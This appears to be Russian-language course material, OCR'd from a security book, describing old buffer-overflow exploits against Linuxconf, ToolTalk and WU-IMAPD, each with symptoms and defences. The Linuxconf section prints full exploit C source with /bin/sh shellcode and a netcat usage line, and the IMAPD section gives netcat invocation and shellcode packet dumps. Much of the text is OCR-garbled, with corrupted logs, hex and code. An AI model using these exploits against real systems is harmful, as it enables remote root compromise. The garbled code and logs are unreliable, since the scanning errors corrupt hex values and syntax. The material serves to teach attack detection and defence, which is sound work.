Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
СРС_ИПОВС_МСЗИ.doc
Скачиваний:
41
Добавлен:
05.06.2015
Размер:
1.79 Mб
Скачать

Что такое netcat?

Netcat - это программа, которая по универсальности применения подобна швейцарскому ножу. Ее можно получить на Web-узле www.10pth.com. Она позволяет читать и записывать данные через сеть, используя любой порт. Есть два режима работы: в качестве клиента и сервера. Как клиент она слушает определенный порт, т.е. хакер может запустить ее, чтобы открыть любой порт. В серверном режиме программа подключается к указанному порту, после чего можно отдавать команды, получать или отправлять данные.

В атаке против Linuxconf netcat служит транспортным каналом, через который проводится нападение.

Симптомы атаки

Следует запретить удаленный доступ к Linuxconf. Если же кто-то попытается его полу­чить, должно выдаваться сообщение о необычном соединении. Ниже приведена запись сеанса TCP при атаке на программу.

05:38:22.241830 ethO > arp who-has 10.10.50.5 tell 10.10.70.5 (0:50:8b:9a:51:30)

05:38:22.241930 ethO < arp reply 10.10.50.5 is-at 0:50:8b:9a:4c:lb

(0:50:8b:9a:51:30)

05:38:22.241947 ethO > 10.10.70.5.2754 V 10.10.50.5.linuxconf: S

3642620738:3642620738(0) win 32120 <mss 1460, sackOK, timestamp 2947440010, пор,

wscale 0> (DF)

05:38:22.242156 ethO < 10.10.50.5.linuxconf > 10.10.70.5.2754: S

2510930408:2510930408(0) ack 364262A739 win 32120 <mss 1460, sack0K, timestamp)

318t27L42 294744001,, nop, wscale 0> (DF)

05:38222.242194 ethO > 10.10.?0.5.2754 > 10.l0.50.5.linuxconf: . 1:1(0) ack 1

win 32!20 <nop, nop, timestamp) 29474400t 3tA2-1L42> (DF)

05:38:22.242429 etho ; 10.10.70.5.2754 > 10.10.5.linuxconf: P 1:1081(1080) ack 1

win 32120 <nop, nop, timestamp) 29474400L 3781,2jI42> (DF)

05:38:22.242624 eth0 < 10.10.50.5.linuxconf > 10.10.?0.5-2754: - 1:1(0) ack 108i.

win 31856 <nop, nop, timestamp 3791_27142 294744001> (DF)

05:38:22.255391 eth0 > arp who-has 208.246.68.33 tell l-0.10.70.5

(0:50:8b:9a:51:30)

05:38:22.259758 eLh0 < 10.10.50.5.Iinuxconf > 10.10.70.5.2i54: . 1:G3(62) ack

1081 win 31856 <nop, nop, timest€mrp 3j.8t27l44 2947440OL> (Dp)

05:38:22.259803 ethO > 10.10.70.5.2754 > L0.10.50.5.1inr.rxconf: . 1801:1801(0)

ack 63 win 31856 <nop, nop, timestamp 294744003 3t9L27144> (DF)

05238:22.259787 eth0 < 10.10.50.5.1inuxconf > 10.10.20.5-2754: F 63:63(0) ack

1081 win 31856 <nop, nop, timestamp) 3LeL2jI44 294744001> (DF)

05:38:22-25981'5 ethO > 10.10.70.5.2754 > 10.10.50.5.linuxconf: . 1081:1801(0) ack 64 win 32!20 <nop, nop, timestamp 294744003 3IBL27L44> (DF) 05:38:22-260001 eth0 < arp reply 208.246.6e.33 is-at. 0:0e:1e:5c:5:31 (0:50:8b:9a:51:30)

05-38.22.260016 eEh0 > 10.10.70.5.socks > 208-246.68.97.domain: 14364+ PTR?

48.68.246.208.in-addr.arpa. (441

05:38:22.263060 ethO > 10.10.70.5.2754 > 10.10.50.5.linuxconf: F 1go1:1801(0)

ack 64 win 32120 <nop, nop, timestamp) 294744003 '33-B],27L44> {DF}

05'38:22- 2631-49 ethO < 10 .10. 50. 5 . finr:xconf > 10.10.T0.5.2754: - 64:64(0) ack

1082 win 31855 <nop, nop, timestamp 378727L44 294744003> (DF)

05:38:22.266016 ethO < 208.246.68.92.domain > 10.10.7O.5.socks: 14364 NxDomain* /0/7/0 (727)

05:38122.266597 etho > 10.10.70.5.socks > 2oB.246.68.97.donrain: 14365+ PTR?

33.58.246.208.in-addr.arpa. (441

05:38222.273152 eth0 < 208.246.68.97.domain > 10.10.70.5.socks: 14365 NXDomain*

0/1./0 (r2'71

05:38:22-272463 eth0 > l0.10.70.5.socks > 208.246.68.97 .domain: 14366+ PTR?

9'1.68.246.208.in*addr.arpa. (44)

05:38:22.276731 ethO < 208.246.68.97.domaint > 10.10.70.5.socks: 14366 NXDomain*

o/L/0 (7271

Как видите, кто-то пытался удаленно через сеть подключится к порту 98.

Методы защиты

Самый лучший способ защиты от данной атаки — это постоянное наблюдение за открытыми портами в системе, т.е. сканирование портов. При этом все ненужные или неиз­вестные порты должны закрываться. Если без использования Linuxconf не обойтись, то желательно работать с ней локально. Для Internet или удаленного доступа, можно воспользоваться защищенными линями связи вроде VPN, или брандмауэр должен ограничивать список адресов, с которых разрешен доступ. И, конечно же, для операционной системы Linux нужно устанавливать самые свежие заплаты, чтобы окончательно избавится от проблемы переполнения буфера в Linuxconf.

Исходный код/псевдокод

Как уже говорилось, программа действует довольно прямолинейно. Хакер подсоединяется к удаленной системе через порт 98 и отсылает данные, которые переполняют буфер. Следующий исходный код создан хакером известным как R00T-X и взят с www.neworder.

box. sk.

Программа взлома linuxconf, создана R00T-X © 1999

USER_AGENT overflow x85

должна работать на всех версиях Linux, требуется сетевой доступ к linuxconf

благодарности: jOe, AcidCrunCh, |420|, umm и всем кто меня знает, :P

пользуйтесь на здоровье, но только в УЧЕБНЫХ ЦЕЛЯХ :)

Использование: (./linexp <offset>; cat) |nc targethost 98

char shell[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\"

"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88\"

"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e\"

"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90\"

"Лх90\х90\х90\х90\х90\х90\х90\х90\х90\х90\х90\х90\х90\х90\х90\х90\"

"\xe8\xcO\xff\xff\xff/bin/sh\xOO";

#include <stdio.h>

#include <stdlib.h>

#include <limits.h>

#include <string.h>

#define BUFLEN 1025 #define NOP 0x90

void

main (int argc, char *argv[])

{

char buf[BUFLEN];

int offset, пор, i;

unsigned long esp,

char shell[1024+300] ;

if(argc < 2)

fprintf(stderr, "usage: (%s <offset>; cat) |nc host.com 98\n", argv[0]);

exit(0);

}

nop=511;

esp=0xefbfd5e8;

offset=atoi(argv[l]) ;

memset(buf, NOP, BUFLEN);

memcpy(buf+(long)nор, shell, strlen(shell));

for (i=256; i<BUFLEN -3; i+=2)

{ *((int*)&buf[i])=esp+(long) offset;

shell[sizeof(shell)-l]=0;

}

printf("POST /HTTP/1.0\r\Content-lenght: %d, User-Agent: \r\n", BUFLEN);

for (i=0; i<BUFLEN; i++)

putchar(buf[i]0;

printf("\r\n");

return;

Дополнительная информация

Для исчерпывающей информации заходите на www. neworder. box. sk или же используйте любую поисковую систему.

Переполнение буфера в ToolTalk

Неправильное определение границ данных дает возможность записывать в стек любую информацию.

Описание эксплоита

  • Название: переполнение буфера ToolTalk.

  • Операционные системы: Solaris, AIX, HP-UX, IRIX.

  • Протоколы/службы: TCP, как правило, через порт RPC.

Переполнение буфера в программе ToolTalk позволяет выполнять любой код на удаленном компьютере, с правами суперпользователя, т.е. получить полный контроль над удаленной системой через сеть. Хакер подключается к службе RPC ToolTalk и отсылает определенное сообщение, приводящее к переполнению буфера. Кроме того, система выполнит команды, содержащиеся в сообщении.

Эта атака рассчитана на большинство версий ОС UNIX и ее разновидностей, включая Solaris x86/Sparc, AIX, HP-UX, IRIX u некоторые версии CDE.

Описание протокола

Удаленный вызов процедур (RPC) позволяет компьютерам в сети совместно использо­вать свои ресурсы и вычислительную мощность. RPC работает поверх протокола TCP/IP как протокол уровня приложения. По своей сути службы RPC являются динамическими, получающими номера портов от службы portmapper. Portmapper — это программа, рабо­тающая в среде UNIX и распределяющая номера портов разнообразным службам. Подобный подход отличается от статических портов, например, протокол SMTP всегда работает qepe3 пopт 25, a DNS — чepeз пopт 53.

Атака начинается, когда хакер подключается к portmapper и запрашивает информацию о службе ToolTalk. Программа возвращает информацию об определенном порте и используемом протоколе. После этого хакер подсоединяется к порту ToolTalk и выполняет команду, в которой содержится код эксплоита. Команда содержит тщательно подобранный код, который приводит к переполнению буфера программы и последующему выполнению команды злоумышленника уже с полными полномочиями, т.е. с правами суперпользователя.

Принцип работы

Можно загрузить код программы из базы данных Bugtraq на Web-узле www.secu-rityfocus . com. Вот формат использования программы взлома ToolTalk:

tt-expl [-ku] 1-p port\] [-f out-file] host cmd

-k аннулирование процесса ttdbserved

-u использование протокола UDP

-p подключение к порту (без запроса portmapper)

-f сохранить сообщение RPC в файле

host адрес узла

cmd отсылаемая команда (например, /bin/sh)

Стандартные параметры программы включают в себя имя команды, IP-адрес узла и саму команду для выполнения на удаленной системе. Есть еще несколько опций, среди которых остановка службы, подключение через протокол UDP, прямое подключение к порту ToolTalk и сохранение дейтаграммы в файле. Последняя опция особенно удобна, если для доступа к удаленному узлу будет использована другая программа, например netcat.

Симптомы атаки

Далее идут сигнатуры двух пакетов атаки, сделанных при помощи утилиты TCPdump. Первый — это запрос portmapper (0001 86f3, номер службы ToolTalk).

22:]-4t13.34?410 l-0.1-.1.2.625 > 10.1.1.1.,1.1.1: udp 56 (ttl 64, id 724)

4500 0054 02d4 0000 4011 6lcl 0a01 0102

0a01 0101 0271 006f 0040 c44e 5c2b b86b

0000 0000 0000 0002 0001- 86a0 0000 0002

0000 ooo3 oo0o 0000 oooo oooo oo00 0000

0000 0000 0001 86f3 0000 0001 0000 0006

0000 0000 лллл лл"л

Пакет эксплоита (801с 4 011=Solaris/Sparc код команды NOP):

22:L4t73.374166 10-1.1.2.626 > 1"0.1.I.I.327'15: P 1:1169(1168) ack 1 win 32120 <nop, nop, tsimestanp 63933 52601780> (DF) (ttl 64, id 727)

4500 04c4 02d7 4000 4006 Id59 OaOl 0102 OaOl 0101 0272 8007 42c2 4302 6d9b d4al 8018 7d78 96cf 0000 0101 080a 0000 f9bd 0322 аЗЬ4 8000 048c 52b9 1179 0000 0000 0000 0002 0001 86f3 0000 0001 0000 0007 0000 0001 0000 0020 37dc 5df5 0000 0009 6c6f 6361 6c68 6f73 7400 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0440 801c 4011 801c 4011 801c 4011 801c 4011 801c 4011 801c 4011 801c 4011 801c 4011 801c 4011 801c 4011 801c 4011 801c 4011 801c 4011 801c лллл лллл

В первом пакете показан запрос службе portmapper, идущий от компьютера хакера. Наиболее важная здесь информация — это номер порта portmapper в декодированном заголовке пакета (порт 111) и номер службы ToolTalk RPC (0001 86f3).

Далее идет пакет с кодом эксплоита. В нем тоже есть номер службы ToolTalk RPC. Последовательность повторяющихся шестнадцатеричных чисел есть не что иное, как значения машинного кода для инструкций NOP в архитектуре Sparc. В программах переполнения буфера очень часто находится большое количество инструкций NOP, необходимых для заполнения вредоносного кода и упрощения подсчета адреса, который будет помещен в указатель возврата.

Методы защиты

Есть разные методы защиты от этой атаки. В целом нужно ограничить доступ к portmapper из Internet, что возможно с помощью брандмауэра. Кроме того, ToolTalk работает поверх транспортного протокола TCP, а потому эффективной защитой будет настроить брандмауэр на отклонение входящих соединений TCP по старшим портам, что поможет защититься не только от данного типа нападения. Хотя, безусловно, такой подход не ис­кореняет проблему, а только лишь ограничивает возможный доступ к системе.

Самым лучшим способом было и остается применение последних обновлений от производителей программного обеспечения. И если у вас старая версия программы, то установка новой версии даст возможность избавиться от угрозы.

Исходный код/псевдокод

Исходный код программы взлома можно найти на Web-узле Security Focus по адресу: http://www.securityfocus.com.

Как можно себе представить, эта программа довольно многогранна и сложна. Вот пример псевдокода, чтобы получить примерное представление о возможностях утилиты:

Псевдокод:

получение номера порта ToolTalk с помощью portmapper

соединение с службой ToolTalk

выдача команд ToolTalk с кодом программы взлома в качестве основной информации

при переполнение буфера, система выполняет /bin/ksh -с <команда>

Дополнительная информация

Всю информацию об этом эксплоите можно найти в базе данных Security Focus. Рекомендации группы CERT читайте на www.cert.org. Большую работу по изучению этой уязвимости проделала компания Network Associates. Вот список полезных Web-узлов:

  • http://www.securityfocus.com

  • http://www.cert.org/advisiories/CA-98.ll.tooltalk.html

  • http://www.nai.com/nai_labs/asp_set/advisory/29_ttdbserved_adv.asp

Переполнение буфера IMAPD

Неправильное определение размера данных дает возможность записывать в стек любую информацию.

Описание эксплоита

  • Название: переполнение буфера демона IMAPD.

  • Нoмep CVE: CVE-1999-0042'

  • Версия программы: Демон IMAPD университета Вашингтона, версия 10.234 и более ранние версии.

  • Протоколы/службы: TCP, порт 143.

Протокол доступа к сообщениям в Internet (IMAP) необходим для доступа к электронной почте или электронным доскам объявлений, которые хранятся на почтовом сервере. Переполнение буфера IMAPD позволяет получить управление над удаленной системой через сеть. Хакер подсоединяется к почтовому службе IMAPD и отсылает особым образом сформиро­ванное сообщение, приводящее к переполнению внутреннего буфера программы, при этом выполняются машинные команды, содержащиеся в сообщении. Атаке-подвержены все вер сии WU-IMAPD, включая последнюю (на момент написания книги) — 10.234.

Описание протокола

IMAPD является почтовой службой, с помощью которой пользователь получает все письма в удаленном режиме и работает с ними, что представляет собой типичный пример архитектуры клиент/сервер. IMAPD позволяет почтовому клиенту работать со всеми сообщениями на сервере так же, как это делается локально. К электронным письмам, хранящимся на сервере IMAP, можно получить доступ с настольного домашнего компьютера, рабочей станции в офисе, дорожного компьютера во время путешествий; при этом нет необходимости переправлять эти сообщения или файлы с одной системы на другую. Сервер IMAP хранит все письма пользователей и позволяет работу с ними прямо на сервере. Одной из особенностей IMAP являются многочисленные механизмы аутентификации, неправильное использование которых может привести к переполнению буфера.

Подробное описание

Злоумышленник начинает атаку, подключившись к порту 143, на котором работает демон IMAP. После установки соединения необходимо зарегистрироваться на сервере для получения доступа к почте. Если хакер применяет стандартную схему аутентификации, то при вводе данных AUTHENTICATE, размер которых больше 1024 байт, буфер будет переполнен. Эта команда тщательно рассчитана таким образом, что после переполнения на сервере будет выполнен код, который содержится в команде регистрации. После переполнения буфера команда атакующего выполняется с полномочиями суперпользователя.

Способ применения

Исходный код программы для ОС Linux и BSD можно загрузить из базы данных Security Focus по адресу: www.securityfocus.com. Для проведения атаки нужна промежуточная программа. И здесь, как во многих других случаях, пригодится утилита netcat. Она используется как транспортное средство и позволяет запустить программу, равно как и получить пригодный к использованию терминальный доступ к удаленной системе.

После запуска программы на экране перед хакером остается пустая строка. Чтобы определить, удалась ли атака, можно выполнить команду id. По ID выясняется текущий уровень полномочий пользователя и подтверждается установка интерфейса командной строки с удаленной системой. Эта команда используется по умолчанию в эксплоите, но ее можно заменить командой открытия терминала xterm или добавления записи в файл /etc/passwd. Вот формат команды утилиты:

Формат команд (для ОС BSD): imappy <nop> <esp> <offset>

  • <nop>: количество команд NOP в начале эксплоита;

  • <esp>: значение указателя стека, 32 бит;

  • <offset>: смещение в байтах для добавления к esp, нужное для определения величины указателя команды.

Использование (полная командная строка): (imappy <nop> <esp> <offset>; cat) [ nc hostname 143

С помощью терминального окна в UNIX хакер запускает код со смещением буфера и передает его программе netcat, которая переправит его на систему жертвы. Приведенный далее код иллюстрирует пример использования программы:

[elric ~]# (./imappy 403 0xfbfd5e8 100; cat) |, nc 10.1.1.2 143/usr/bin/id uid=0(root) gid=0(root) groups=0(root)

Симптомы атаки

Представленный ниже пакет TCP, приводящий к переполнению буфера, несколько урезан, но в нем видны все основные свойства. Повторяющиеся коды NOP (9090) нужны в качестве заполнителя, т.е. избыточной информации в теле сообщения. Кроме того, мож­но увидеть код запуска оболочки:

Пакет взлома (0х90=х86 байт-коды NOP)

22:46:31.693096 10.1.1.3.21496 > 10.1.1.2.143: . 1:1449(1448) ack 1 win

18834 <пор, пор, timestamp 344608 52554305> (ttl 64, id 13683)

4500 05dc 3573 0000 4006 29аЗ 0а01 0103

0а01 0102 53f8 008f 20fe 803d 99d5 013d

8010 4988 1804 0000 0101 080a 0005 4220

0321 ea41 2a20 4155 5448 454e 5449 4341

5445 207b 3230 3248 7d0d 0a90 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090 9090 9090 9090 9090 9090 9090 9090

9090

9090

9090

9090

9090

9090

9090

9090

9090

9090

9090

9090

9090

9090

9090

eb34

5e8d

1e89

5e0b

31d2

8956

0789

560f

8956

1448

5619

31cO

bO7f

2046

0120

4602

2046

0320

4605

2046

06b0

3b8d

4e0b

89ca

5251

5350

ebl8

e8c7

ffff

ff2f

e2e9

ee2f

f3e8

0101

0101

0202

0202

0303

0303

9aO4

0404

0407

044c

d6bf

ef4c

d6bf

ef4c

d6bf

ef 4c

d6bf

ef4c

d6bf

ef4c

d6b£

ef4c

d6bf

ef4c

Методы защиты

Как и в большинстве случаев, лучшим способом защиты будет обновление программного обеспечения сервера. Можно установить заплату, но все же замена программы на новую версию будет более удачным решением. Вообще говоря, следует ограничивать доступ к локальным службам из Internet, например с помощью брандмауэра. Его нужно настроить на отклонение входящих соединений TCP к порту 143 (это же делается и для других портов). Не помешают жесткие механизмы аутентификации, такие, как Kerberos или SecurelD, с их помощью можно усилить защиту служб, предоставляющих удаленный доступ пользователям. Итак, основные правила защиты протокола IMAP:

  • заменить IMAPD на новую версию;

  • установить заплаты производителя;

  • брандмауэр: фильтровать внешний доступ к IMAPD (если он не нужен);

■ использовать жесткие механизмы аутентификации (Kerberos, SecurelD).

Исходный код/псевдокод

Исходный код программы можно найти на Web-узле Packetstorm, по адресу: http:/,/packetstormsecurity.org.

Сама программа взлома по своей структуре довольно сложна. В ней содержится машинный код, объединенный с командой AUTHENICATE протокола IMАР, который отправляется на стандартное устройство вывода. Проще говоря, хакер создает обычное соединение TCP к службе и затем отправляет вредоносный код. Если атака проходит успешно, то злоумышленник получит возможность управлять удаленной системой.

Если представить эти действия в псевдокоде, получится следующее:

  • установить соединение TCP к порту 143;

  • отправить команду AUTHENICATE с машинным кодом в качестве данных;

  • переполнение буфера позволит выполнить содержащуюся в коде команду с привилегиями суперпользователя.

AOL Instant Messenger

Программа AOL Instant Messenger (AIM) настраивает систему таким образом, что про­токол AIM URL подключается методом AIM: //URL к клиенту AIM. При этом может про­изойти ошибка в анализе параметров URL, в частности goim screenname.

Описание эксплоита

  • Название: переполнение буфера в AOL Instant Messenger.

  • Операционная cистема: Microsoft windows 98, windows 95, windows NT 4.0, Windows 2000 u Apple MacOS 9.0.

  • Протоколы/службы: AOL Instant Messenger версий 3.5.1856, 4.0, 4.1.2010 и 4.2.1193.